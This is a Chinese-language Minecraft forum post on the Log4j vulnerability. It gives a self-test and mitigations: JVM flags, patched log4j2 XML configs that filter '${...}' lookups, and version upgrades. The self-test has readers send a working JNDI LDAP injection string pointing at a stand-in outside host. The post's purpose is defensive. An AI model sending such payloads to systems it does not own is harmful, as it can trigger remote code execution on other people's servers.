情況簡述
昨日,Apache Log4j爆出重大漏洞,攻擊者只要使目標(biāo)系統(tǒng)產(chǎn)生特定的日志即可實(shí)現(xiàn)代碼注入,即:使目標(biāo)系統(tǒng)執(zhí)行指定代碼。
Minecraft服務(wù)器端,包括Forge、官方端等服務(wù)端,以及非官方的或舊版的客戶端全線受到影響。
詳細(xì)信息以及具體的修復(fù)方式,參見:https://www.mcbbs.net/thread-1283097-1-1.html
漏洞自查
要檢查自己的服務(wù)端/客戶端是否受到影響,請進(jìn)入游戲,從客戶端向服務(wù)端發(fā)送以下聊天信息(盡量把這里面的網(wǎng)址隨便改改,小心瞎貓撞上死耗子):
${jndi:ldap://miaomiaomiao.com/dsadasdadweqddfdczxcxcawdeqqfwsefs}
如果你的客戶端崩潰了,恭喜你,你的客戶端受到影響
如果你的服務(wù)端崩潰了,恭喜你,你的服務(wù)端受到影響
對于沒有修復(fù)的客戶端、服務(wù)端,大概率兩者一起崩潰
漏洞自糾
請分別對服務(wù)端、客戶端作以下修改,修改后請按【漏洞自查】中的思路驗(yàn)證漏洞是否仍然存在
服務(wù)端
對于1.7-1.11.2的Minecraft版本,在java虛擬機(jī)啟動(dòng)參數(shù)中添加:
-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true -Dlog4j.configurationFile=log4j2_17-111.xml
并將文末所附的log4j2_17-111.xml放到服務(wù)端所在的文件夾中
對于1.12-1.16.5的Minecraft版本,在java虛擬機(jī)啟動(dòng)參數(shù)中添加:
-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true -Dlog4j.configurationFile=log4j2_112-116.xml
并將文末所附的log4j2_112-116.xml放到服務(wù)端所在的文件夾中
對于1.17的Minecraft版本,在java虛擬機(jī)啟動(dòng)參數(shù)中添加:
-Dlog4j2.formatMsgNoLookups=true
對于1.18的Minecraft版本,請升級到1.18.1或遵循1.17的修復(fù)方法
客戶端
以我自己的經(jīng)驗(yàn)來說,以HMCL為例,在全局版本設(shè)置中,將Java虛擬機(jī)參數(shù)修改為:
-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true
即可(與服務(wù)器修復(fù)方法基本相同)
如果這些不行的話,請嘗試服務(wù)器修復(fù)方法中的其他參數(shù)
log4j2_17-111.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN" packages="com.mojang.util">
<Appenders>
<Console name="SysOut" target="SYSTEM_OUT">
<PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg%n" />
</Console>
<Queue name="ServerGuiConsole">
<PatternLayout pattern="[%d{HH:mm:ss} %level]: %msg%n" />
</Queue>
<RollingRandomAccessFile name="File" fileName="logs/latest.log" filePattern="logs/%d{yyyy-MM-dd}-%i.log.gz">
<PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg%n" />
<Policies>
<TimeBasedTriggeringPolicy />
<OnStartupTriggeringPolicy />
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="info">
<filters>
<MarkerFilter marker="NETWORK_PACKETS" onMatch="DENY" onMismatch="NEUTRAL" />
<RegexFilter regex=".*\$\{[^}]*\}.*" onMatch="DENY" onMismatch="NEUTRAL"/>
</filters>
<AppenderRef ref="SysOut"/>
<AppenderRef ref="File"/>
<AppenderRef ref="ServerGuiConsole"/>
</Root>
</Loggers>
</Configuration>
log4j2_112-116.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="SysOut" target="SYSTEM_OUT">
<PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg{nolookups}%n" />
</Console>
<Queue name="ServerGuiConsole">
<PatternLayout pattern="[%d{HH:mm:ss} %level]: %msg{nolookups}%n" />
</Queue>
<RollingRandomAccessFile name="File" fileName="logs/latest.log" filePattern="logs/%d{yyyy-MM-dd}-%i.log.gz">
<PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg{nolookups}%n" />
<Policies>
<TimeBasedTriggeringPolicy />
<OnStartupTriggeringPolicy />
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="info">
<filters>
<MarkerFilter marker="NETWORK_PACKETS" onMatch="DENY" onMismatch="NEUTRAL" />
</filters>
<AppenderRef ref="SysOut"/>
<AppenderRef ref="File"/>
<AppenderRef ref="ServerGuiConsole"/>
</Root>
</Loggers>
</Configuration>